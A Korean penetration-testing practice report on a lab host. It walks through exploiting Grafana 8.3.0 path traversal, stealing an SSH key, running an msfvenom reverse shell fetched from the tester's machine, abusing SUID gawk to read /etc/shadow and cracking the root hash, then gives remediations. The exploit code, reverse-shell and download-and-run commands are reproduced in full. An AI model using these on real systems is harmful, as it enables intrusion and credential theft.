모의해킹 실습 2

목차

  1. 개요
    1. 총평
    2. 취약점 목차
  2. 모의해킹 수행 내용
    1. 정보 수집
    2. 취약점 진단
    3. 호스트 초기 침투
    4. 권한 상승
  3. 취약점
    1. 디렉토리 경로 탐색 및 임의의 파일 읽기 취약점 - Grafana 8.3.0
    2. phpmyadmin default 계정 및 패스워드 사용
    3. 잘못된 ssh 개인키 권한 설정
    4. 잘못된 SUID 설정 파일
    5. root 패스워드 취약한 해시함수(md5) 사용
    6. ssh root 접속 허용

개요

총평

분석 기간 호스트 이름 IP 주소 목적
2024년 8월 22일 observer 172.31.157.1 보안 취약점 진단 및 침투테스트

본 보고서는 2024년 8월 22일 진행된 observer 호스트에 대한 모의해킹 작업을 요약한다. 이 과정에서 발견된 취약점과 그에 따른 침투 테스트 결과를 중점적으로 다룬다.

점검자는 Grafana 웹 애플리케이션의 디렉토리 경로 탐색 및 임의의 파일 읽기를 이용해 miller계정의 ssh 개인키 파일을 읽어 키 값을 가져와 ssh를 통해 miller 유저로 로그인에 성공했다. 이후, linpeas를 사용하여 SUID비트가 설정된 gawk 바이너리를 발견했고 이를 사용하여 /etc/shadow파일을 읽어와 해시함수로 암호화된 root계정의 패스워드를 획득했다. hash-identifier를 사용하여 획득한 패스워드가 md5해시로 암호화 된 것을 확인했으며, johntheripper를 사용하여 패스워드 크래킹을 시도했고 성공했다. 그 뒤, 크래킹한 패스워드를 통해 root 유저 권한을 얻었다.

결과적으로 테스터는 이번 모의해킹을 통해 외부 공격자가 observer 호스트를 완벽하게 장악할 수 있는 취약점들을 발견했다. 해당 호스트는 외부 인터넷에 노출되어 있는 상태다. 이는 인터넷에서 해당 호스트에 접근 가능한 모든 공격자들에게 해당 호스트가 장악당할 위험이 있는 상태를 의미한다. 인터넷에 노출되어 있는 호스트의 특성상 점검자는 취약점을 발견한 즉시 보안 담당자에게 연락해 취약점 정보를 제공할 필요가 있다.

진단결과 요약

아래 표는 이번 모의해킹 과정에서 발견된 주요 취약점을 요약한 것이다. 각 취약점에 대한 자세한 설명 및 대응 방안은 본 보고서의 ‘취약점’ 섹션에서 확인할 수 있다.

번호 이름 중요도 설명 대응 방안
1 디렉토리 경로 탐색 및 임의의 파일 읽기 취약점 - Grafana 8.3.0 Grafana 8.3.0 버전의 디렉토리 경로 탐색 취약점이 있어 임의의 파일을 읽어올 수 있음 Grafana 버전 업데이트
2 phpmyadmin default 계정 및 패스워드 사용 phpmyadmin default 계정 및 패스워드를 사용하여 로그인 가능 default 계정 및 패스워드가 아닌 임의의 값으로 변경
3 잘못된 ssh 개인키 권한 설정 ssh 개인키 파일의 권한 설정이 잘못되어 임의의 사용자가 해당 개인키 확인 가능 .ssh 디렉토리 안의 id_rsa 개인키 파일 권한 600으로 변경
4 잘못된 SUID 설정 파일 root유저의 SUID 비트가 설정된 바이너리를 이용해 운영체제 내 모든 유저가 root 권한으로 파일 실행 가능 해당 바이너리에 SUID 비트 제거
5 root 패스워드 취약한 해시함수(md5) 사용 취약한 해시함수(md5)를 사용하여 패스워드 크래킹이 간단해짐 취약하지 않는 해시함수(sha-256) 사용
6. ssh root 접속 허용 ssh를 사용하여 root 계정으로 원격 접속 가능 PermitRootLogin no로 변경

모의해킹 수행 내용

정보 수집 - 포트 스캔

nmap을 사용하여 포트스캔을 진행하니 ftp(21), ssh(22), ppp(3000), http-alt(8000), http-proxy(8080) 포트가 열려있는 것을 확인할 수 있었다.

sudo nmap -sS -p- 172.31.157.1 -Pn -n --open -oA tcpAll         
 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-22 00:46 EDT
Nmap scan report for 172.31.157.1
Host is up (0.014s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
3000/tcp open  ppp
8000/tcp open  http-alt
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds

열려있는 포트를 기반으로 nmap을 통해 포트와 연결되어 있는 서비스 버전 정보를 확인했다.

sudo nmap -p 21,22,3000,8000,8080 172.31.157.1 -Pn -n --open -sC -sV

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-22 00:52 EDT
Nmap scan report for 172.31.157.
Host is up (0.018s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5                                        
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
                            [...]
3000/tcp open  ppp?
                            [...]
| HTTP/1.0 302 Found
                            [...]
8000/tcp open  http    Apache httpd 2.4.56 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.56 (Debian)
|_http-generator: WordPress 6.3.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: toorg Internal Blog Dev

8080/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
| http-robots.txt: 1 disallowed entry
|_/
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: phpMyAdmin

정보 수집 - 웹

포트 8080번을 확인해보면 phpmyadmin 페이지 인 것을 확인할 수 있었고 phpmyadmin default 계정 및 패스워드로 로그인을 시도하니 성공 하였고, phpmyadmin버전이 5.2.1인 것을 확인하여 이를 토대로 취약점 진단을 시도 하였으나 공격할만한 취약점을 찾을 수 없었다.

alt text

┌──(kali㉿kali)-[~/observer]
└─$ searchsploit phpmyadmin 5.2.1
Exploits: No Results
Shellcodes: No Results

포트 3000번의 경우 ppp라는 이름의 서비스가 동작하고 있었고 http와 관련된 내용이 있는것을 보아 웹과 관련된 서비스라 생각하여 브라우저로 접근해보니 Grafana라는 웹 애플리케이션이 동작하는 것을 확인할 수 있었다.

alt text

Grafna 웹 애플리케이션의 default 계정 및 패스워드를 사용하여 로그인 시도한 결과 로그인에 성공하였다.

alt text

로그인에 성공한 뒤 Grafana의 버전을 확인할 수 있었다.

alt text

취약점 진단

확인한 서비스 정보를 바탕으로 searchsploit을 사용하여 취약점 진단 수행 결과 vsftpd와 openssh, apache의 버전 취약점 확인 결과 마땅히 공격할만한 취약점을 찾을 수 없었다.

┌──(kali㉿kali)-[~/observer]
└─$ searchsploit vsftpd 3.0.5    
Exploits: No Results
Shellcodes: No Results
                                                                                                                                                                                            
┌──(kali㉿kali)-[~/observer]
└─$ searchsploit openssh 8.9p1
Exploits: No Results
Shellcodes: No Results

searchsploit명령어를 사용하여 Grafana 8.3.0 버전의 취약점을 검색해 보니 디렉토리 경로 탐색 및 임의의 파일 읽기 취약점을 발견했다.

┌──(kali㉿kali)-[~/observer]
└─$ searchsploit grafana 8.3.0

--------------------------------------------------------------------------------------------------------
 Exploit Title                                                                |  Path
---------------------------------------------------------------------------------------------------------
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read                   | multiple/webapps/50581.py
---------------------------------------------------------------------------------------------------------
Shellcodes: No Results

호스트 초기 침투

익스플로잇 코드를 사용하여 /etc/passwd 파일을 읽어오는 것을 확인했으므로 개념증명을 성공했다.

──(kali㉿kali)-[~/observer]
└─$ python3 50581.py -H http://172.31.157.1:3000
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
                            [...]
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
                            [...]
miller:x:1001:1001::/home/miller:/bin/bash

계정 정보 중 uid가 1000이상인 ubuntu 유저와 miller 유저가 눈에 띄어 해당 유저들의 홈디렉토리 파일을 읽어 오던 중 miller 유저 홈디렉토리에 .ssh 폴더가 존재했으며 폴더안에 id_rsa 파일 형태로 키 값이 존재하는 것을 확인했다.

┌──(kali㉿kali)-[~/observer]
└─$ python3 50581.py -H http://172.31.157.1:3000
Read file > /home/miller/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAxpydytq5YkrT2O7nQyP0JjFGb81XCsEJMvFWMRqmUeX4wtvEa85o
GbYTRmLWGyNiqk2wtKEkaLmmE7xiUdktredBNSty+4jq8u2PwYNBiJZSWXFK7owgOkjt3C
                            [...]
-----END OPENSSH PRIVATE KEY-----

이 키 값을 가져와 miller_rsa.pem 이란 파일을 생성한 뒤 퍼미션 권한을 600으로 설정하고 ssh를 통해 접속을 시도하니 miller 유저로 호스트에 접근이 가능하였다.

┌──(kali㉿kali)-[~/observer]
└─$ vim miller_rsa.pem
                                                                            
┌──(kali㉿kali)-[~/observer]
└─$ chmod 600 miller_rsa.pem
                                                            
┌──(kali㉿kali)-[~/observer]
└─$ ssh -i miller_rsa.pem miller@172.31.157.1

miller@ip-172-31-157-1:~$ id;hostname;whoami

uid=1001(miller) gid=1001(miller) groups=1001(miller)
ip-172-31-157-1
miller

호스트에 접근이 가능해졌으니, 이제 리버스 쉘을 생성한다

┌──(kali㉿kali)-[~/observer]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.8.0.140 LPORT=443 -f elf -o revshell.elf

이 후, wget http://10.8.0.140:9999/revshell.elf를 사용하여 생성한 리버스 쉘을 호스트에 업로드 하였다.

miller@ip-172-31-157-1:/tmp$ wget http://10.8.0.140:9999/revshell.elf
--2024-08-22 07:40:16--  http://10.8.0.140:9999/revshell.elf
Connecting to 10.8.0.140:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/octet-stream]
Saving to: ‘revshell.elf’

revshell.elf                                    100%[====================================================================>]     194  --.-KB/s    in 0s      

2024-08-22 07:40:16 (23.0 MB/s) - ‘revshell.elf’ saved [194/194]
---------------------------------------------------------------------------------------------
┌──(kali㉿kali)-[~/observer]
└─$ python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
172.31.157.1 - - [22/Aug/2024 03:40:14] "GET /revshell.elf HTTP/1.1" 200 -

설치한 리버스 쉘에 실행권한을 준 뒤 실행하였고 정상적으로 리버스 쉘 연결을 성공하였다.

miller@ip-172-31-157-1:/tmp$ chmod +x revshell.elf 
miller@ip-172-31-157-1:/tmp$ ./revshell.elf
----------------------------------------------------------------------------------------------
┌──(kali㉿kali)-[~/observer]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.8.0.140] from (UNKNOWN) [172.31.157.1] 39182
id;hostname;whoami 
uid=1001(miller) gid=1001(miller) groups=1001(miller)
ip-172-31-157-1
miller

권한 상승

리버스 쉘 연결 후 linpeas를 업로드 한 뒤 실행한다.

miller@ip-172-31-157-1:/tmp$ wget http://10.8.0.140:9999/linpeas.sh -O linpeas
miller@ip-172-31-157-1:/tmp$ chmod +x linpeas
miller@ip-172-31-157-1:/tmp$ ./linpeas
----------------------------------------------------------------------------------------------
┌──(kali㉿kali)-[~/observer]
└─$ python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
172.31.157.1 - - [22/Aug/2024 03:47:48] "GET /linpeas.sh HTTP/1.1" 200 -

linpeas 실행 결과 SUID가 설정된 gawk 파일을 발견했다.

-rwsr-xr-x 1 root root 689K Mar 23  2022 /usr/bin/gawk

GTFObins를 통해 SUID가 설정된 gawk에 대한 정보를 찾아 실행하여 /etc/shadow파일에 있는 root의 패스워드를 찾았고, hash-identifier를 사용하여 사용된 해시함수가 MD5인 것을 확인했다.

alt text

LFILE=/etc/shadow
awk '//' "$LFILE"

root:$1$BcBHqupt$IsJVqcoWOKszdTQODEn0H1:19493:0:99999:7:::

┌──(kali㉿kali)-[~/observer]
└─$ hash-identifier
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: $1$BcBHqupt$IsJVqcoWOKszdTQODEn0H1

Possible Hashs:
[+] MD5(Unix)
--------------------------------------------------\

이 후 root의 패스워드를 root_pass라는 파일을 생성하여 저장한 뒤, johntheripper를 사용하여 패스워드 크래킹 시도를 하였고 성공했다.

┌──(kali㉿kali)-[~/observer]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt root_pass

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
larissa          (?)   #root 패스워드  
1g 0:00:00:00 DONE (2024-08-22 04:02) 33.33g/s 96000p/s 96000c/s 96000C/s my3kids..skater1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

크래킹한 패스워드를 사용하여 root 계정으로 권한 상승을 성공했다.

su
root@172.31.157.1's password:

# id;hostname;whoami
uid=0(root) gid=0(root) groups=0(root)
ip-172-31-157-1
root

취약점

1. 디렉토리 경로 탐색 및 임의의 파일 읽기 - Grafana 8.3.0

취약점 개요

</tr>
정보 설명
이름 디렉토리 경로 탐색 및 임의의 파일 읽기 - Grafana 8.3.0
중요도
위치 URL: http://172.31.157.1:3000/pubilc/plugins
파일 위치: /etc/passwd

취약점 설명

해당 취약점은 Grafana의 디렉토리 경로 탐색 취약점을 이용한 공격이다.

익스플로잇 코드를 분석해 보면 plugin_list를 만들어 Grafana에 있는 플러그인 목록들을 나열하고 exploit함수에서 file_to_read를 통해 공격자가 읽기 원하는 파일을 입력받은 뒤 이를 취약한 URL 경로인 /public/plugins/설치된 플러그인ID/과 디렉토리 경로 탐색 취약점을 사용하기 위한/../../../../../../../../../../../../..뒤에 포함하여 URL을 구성한 뒤 requests 모듈을 이용해 GET 요청으로 전송하는 것을 볼 수 있다. 이 후, 파일이 존재하면(200) 파일을 출력하고 그렇지 않다면 오류 메시지를 출력하는 것을 볼 수 있다.

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
                             [...]
]

                             [...]
def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass

개념 증명

점검자는 칼리 리눅스 내 searchsploit 도구를 사용하여 Grafana 8.3.0 디렉토리 경로 탐색 및 임의의 파일 읽기 익스플로잇 코드를 확보했다. 이후, 익스플로잇 코드를 실행하여 익스플로잇 성공을 확인했다.

┌──(kali㉿kali)-[~/observer]
└─$ python3 50581.py -H http://172.31.157.1:3000
Read file > /etc/passwd

                            [...]

대응 방안

  • Grafana 웹 애플리케이션을 최신 버전으로 업데이트 한다.

  • Grafana default 계정 및 패스워드를 임의의 값으로 변경한다.

  • 사용자의 입력값에 대한 검증을 실시하여 디렉토리 경로 탐색 패턴을 필터링 할 수 있게한다.

레퍼런스

  • Grafana 최신 버전 https://grafana.com/
  • Grafana 버전 8.3.0 개념 증명 익스플로잇 https://www.exploit-db.com/exploits/50581

2. phpmyadmin default 계정 및 패스워드 사용

취약점 개요

정보 설명
이름 phpmyadmin default 계정 및 패스워드 사용
중요도

취약점 설명

phpmyadmin의 default 계정 및 패스워드를 변경하지 않고 사용하여 default 계정 및 패스워드를 알고있는 공격자가 로그인 하여 데이터베이스를 임의로 조작할 수있는 취약점이다.

개념 증명

8080포트에서 phpmyadmin을 확인하였으므로, 브라우저를 통하여 8080포트로 접속하였고 default 계정 및 패스워드 정보를 토대로 접속을 시도하여 로그인에 성공하였다.

8080/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
| http-robots.txt: 1 disallowed entry
|_/
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: phpMyAdmin

alt text

대응 방안

  • phpmyadmin default 계정 및 패스워드를 임의의 값으로 변경한다.

레퍼런스

3. 잘못된 ssh 개인키 권한 설정

취약점 개요

정보 설명
이름 잘못된 ssh 개인키 권한 설정
중요도
위치 파일 위치: /home/사용자/.ssh/id_rsa

취약점 설명

해당 취약점은 .ssh 디렉토리 안의 개인키 파일인 id_rsa 파일의 권한을 잘못설정하여 개인키 소유자가 아닌 임의의 공격자가 접근이 가능해 키를 탈취한 뒤 ssh를 사용하여 해당 개인키 소유자로 로그인 가능한 취약점이다.

개념 증명

익스플로잇 코드를 사용하여 권한이 잘못 설정되어있는 miller 사용자의 개인키 파일인 id_rsa에 접근하여 파일을 읽어왔다. 이후, 해당 키 값을 가져와 miller_rsa.pem 파일을 생성하고 권한을 변경한 뒤 해당 개인키를 사용하여 ssh를 통해 miller 사용자로 접속을 성공하였다.

┌──(kali㉿kali)-[~/observer]
└─$ python3 50581.py -H http://172.31.157.1:3000
Read file > /home/miller/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAxpydytq5YkrT2O7nQyP0JjFGb81XCsEJMvFWMRqmUeX4wtvEa85o
GbYTRmLWGyNiqk2wtKEkaLmmE7xiUdktredBNSty+4jq8u2PwYNBiJZSWXFK7owgOkjt3C
                            [...]
-----END OPENSSH PRIVATE KEY-----

┌──(kali㉿kali)-[~/observer]
└─$ vim miller_rsa.pem
                                                                            
┌──(kali㉿kali)-[~/observer]
└─$ chmod 600 miller_rsa.pem
                                                            
┌──(kali㉿kali)-[~/observer]
└─$ ssh -i miller_rsa.pem miller@172.31.157.1

miller@ip-172-31-157-1:~$ id;hostname;whoami
uid=1001(miller) gid=1001(miller) groups=1001(miller)
ip-172-31-157-1
miller

접속 성공 후, 칼리 리눅스에서 리버스 쉘 페이로드를 생성하였으며 명령어는 다음과 같다.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.8.0.140 LPORT=443 -f elf -o revshell.elf

9999번 포트를 오픈하고 wget을 사용하여 호스트에 리버스 쉘을 업로드 하였으며, 실행권한을 준 뒤 리버스 쉘을 연결했다.

┌──(kali㉿kali)-[~/observer]
└─$ python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
172.31.157.1 - - [22/Aug/2024 03:40:14] "GET /revshell.elf HTTP/1.1" 200 -

miller@ip-172-31-157-1:/tmp$ wget http://10.8.0.140:9999/revshell.elf
miller@ip-172-31-157-1:/tmp$ chmod +x revshell.elf 
miller@ip-172-31-157-1:/tmp$ ./revshell.elf
----------------------------------------------------------------------------------------------
┌──(kali㉿kali)-[~/observer]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.8.0.140] from (UNKNOWN) [172.31.157.1] 39182
id;hostname;whoami 
uid=1001(miller) gid=1001(miller) groups=1001(miller)
ip-172-31-157-1
miller

대응 방안

  • .ssh 폴더안의 id_rsa 개인키 파일 권한을 600으로 설정하여 파일 소유자 외의 사용자 접근을 제한한다.
    chmod 600 /home/miller/.ssh/id_rsa
    

레퍼런스

4. 잘못된 SUID 설정 파일

취약점 개요

정보 설명
이름 잘못된 SUID 설정 파일
중요도
위치 파일 위치: /usr/bin/gawk

취약점 설명

root 유저의 SUID 비트가 설정된 바이너리를 이용해 운영체제 내 모든 사용자가 root 유저 권한으로 파일 실행 가능한 취약점이다.

개념 증명

linpeas를 실행한 결 SUID가 설정된 gawk 파일을 발견했다.

-rwsr-xr-x 1 root root 689K Mar 23  2022 /usr/bin/gawk

GTFObins를 통해 SUID가 설정된 gawk에 대한 정보를 찾아 실행하여 /etc/shadow파일에 있는 root의 패스워드를 찾았다.

alt text

LFILE=/etc/shadow
awk '//' "$LFILE"

root:$1$BcBHqupt$IsJVqcoWOKszdTQODEn0H1:19493:0:99999:7:::

대응 방안

  • gawk의 Set UID 비트를 설정 해제 한다.
    chmod u-s /usr/bin/gawk
    

레퍼런스

5. root 패스워드 취약한 해시함수(md5) 사용

취약점 개요

정보 설명
이름 root 패스워드 취약한 해시함수(md5) 사용
중요도

취약점 설명

root 계정의 패스워드 해시함수를 취약한 해시함수인 md5를 사용하여 패스워드 크래킹을 할 수 있다.

개념 증명

hash-identifier를 사용하여 root 패스워드가 md5형식의 패스워드라는 것을 알아냈다. 이후, root의 패스워드를 root_pass라는 파일을 생성하여 저장한 뒤, johntheripper를 사용하여 패스워드 크래킹 시도를 하였고 성공했다.

┌──(kali㉿kali)-[~/observer]
└─$ hash-identifier
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: $1$BcBHqupt$IsJVqcoWOKszdTQODEn0H1

Possible Hashs:
[+] MD5(Unix)
--------------------------------------------------\

┌──(kali㉿kali)-[~/observer]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt root_pass

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
larissa          (?)   #root 패스워드  
1g 0:00:00:00 DONE (2024-08-22 04:02) 33.33g/s 96000p/s 96000c/s 96000C/s my3kids..skater1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

크래킹 성공 후 크래킹한 패스워드를 사용하여 root 계정으로 권한 상승을 성공했다.

su
root@172.31.157.1's password:

# id;hostname;whoami
uid=0(root) gid=0(root) groups=0(root)
ip-172-31-157-1
root

대응 방안

  • md5 해시함수가 아닌 sha-256 등의 취약하지 않는 해시함수를 사용한다.

레퍼런스

6. ssh root 접속 허용

취약점 개요

정보 설명
이름 ssh root 접속 허용
중요도

취약점 설명

ssh root 접속을 허용하여 임의의 공격자가 원격으로 root 계정으로 로그인할 수 있다. root 유저로 원격접속을 할 경우 어떠한 user가 접속하였는지 확인이 불가능 하다.

개념 증명

ssh를 통하여 크래킹한 root 패스워드로 로그인 시도하니 원격 접속 성공한 것을 확인할 수 있다.

┌──(kali㉿kali)-[~/observer]
└─$ ssh root@172.31.157.1
root@172.31.157.1's password:
root@ip-172-31-157-1:~#

대응 방안

/etc/ssh/sshd_config에서 PermitRootLogin 설정을 no로 변경한다

vim /etc/ssh/sshd_config
              [...]
PermitRootLogin yes -> no

레퍼런스